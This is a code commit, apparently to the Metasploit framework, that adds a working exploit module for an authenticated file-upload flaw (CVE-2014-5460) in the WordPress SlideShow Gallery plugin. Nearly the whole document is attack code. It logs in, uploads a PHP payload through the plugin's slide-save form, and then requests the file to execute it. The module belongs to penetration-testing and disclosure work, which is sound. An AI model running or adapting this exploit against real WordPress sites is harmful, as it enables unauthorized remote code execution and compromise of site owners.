Land rapid7#5131, WordPress Slideshow Upload

Author: firefart

modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb

@@ -0,0 +1,116 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::HTTP::Wordpress
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(
+      info,
+      'Name'           => 'Wordpress SlideShow Gallery Authenticated File Upload',
+      'Description'    => %q{
+          The Wordpress SlideShow Gallery plugin contains an authenticated file upload
+          vulnerability. We can upload arbitrary files to the upload folder, because
+          the plugin also uses it's own file upload mechanism instead of the wordpress
+          api it's possible to upload any file type.
+      },
+      'Author'         =>
+        [
+          'Jesus Ramirez Pichardo', # Vulnerability discovery
+          'Roberto Soares Espreto <robertoespreto[at]gmail.com>'     # Metasploit module
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          ['CVE', '2014-5460'],
+          ['EDB', '34681'],
+          ['WPVDB', '7532']
+        ],
+      'Privileged'     => false,
+      'Platform'       => ['php'],
+      'Arch'           => ARCH_PHP,
+      'Targets'        => [['WP SlideShow Gallery 1.4.6', {}]],
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Aug 28 2014'))
+
+    register_options(
+      [
+        OptString.new('WP_USER', [true, 'A valid username', nil]),
+        OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil])
+      ], self.class)
+  end
+
+  def user
+    datastore['WP_USER']
+  end
+
+  def password
+    datastore['WP_PASSWORD']
+  end
+
+  def check
+    check_plugin_version_from_readme('slideshow-gallery', '1.4.7')
+  end
+
+  def exploit
+    print_status("#{peer} - Trying to login as #{user}")
+    cookie = wordpress_login(user, password)
+    if cookie.nil?
+      print_error("#{peer} - Unable to login as #{user}")
+      return
+    end
+
+    print_status("#{peer} - Trying to upload payload")
+    filename = "#{rand_text_alpha_lower(8)}.php"
+
+    data = Rex::MIME::Message.new
+    data.add_part("", nil, nil, 'form-data; name="Slide[id]"')
+    data.add_part("", nil, nil, 'form-data; name="Slide[link]"')
+    data.add_part("", nil, nil, 'form-data; name="Slide[image_url]"')
+    data.add_part('both', nil, nil, 'form-data; name="Slide[showinfo]"')
+    data.add_part('randonx', nil, nil, 'form-data; name="Slide[description]"')
+    data.add_part('file', nil, nil, 'form-data; name="Slide[type]"')
+    data.add_part('randonx', nil, nil, 'form-data; name="Slide[title]"')
+    data.add_part('70', nil, nil, 'form-data; name="Slide[iopacity]"')
+    data.add_part('N', nil, nil, 'form-data; name="Slide[uselink]"')
+    data.add_part("", nil, nil, 'form-data; name="Slide[order]"')
+    data.add_part('self', nil, nil, 'form-data; name="Slide[linktarget]"')
+    data.add_part(payload.encoded, 'application/x-httpd-php', nil, "form-data; name=\"image_file\"; filename=\"#{filename}\"")
+    post_data = data.to_s
+
+    print_status("#{peer} - Uploading payload")
+    res = send_request_cgi({
+      'method'   => 'POST',
+      'uri'      => normalize_uri(wordpress_url_backend, 'admin.php'),
+      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
+      'vars_get' => {
+        'page' => 'slideshow-slides',
+        'method' => 'save'
+      },
+      'data'     => post_data,
+      'cookie'   => cookie
+    })
+
+    if res
+      if res.code == 200
+        register_files_for_cleanup(filename)
+      else
+        fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.")
+      end
+    else
+      fail_with(Failure::Unknown, 'Server did not respond in an expected way')
+    end
+
+    print_status("#{peer} - Calling uploaded file #{filename}")
+    send_request_cgi(
+      'uri'    => normalize_uri(wordpress_url_wp_content, 'uploads', 'slideshow-gallery', filename)
+    )
+  end
+end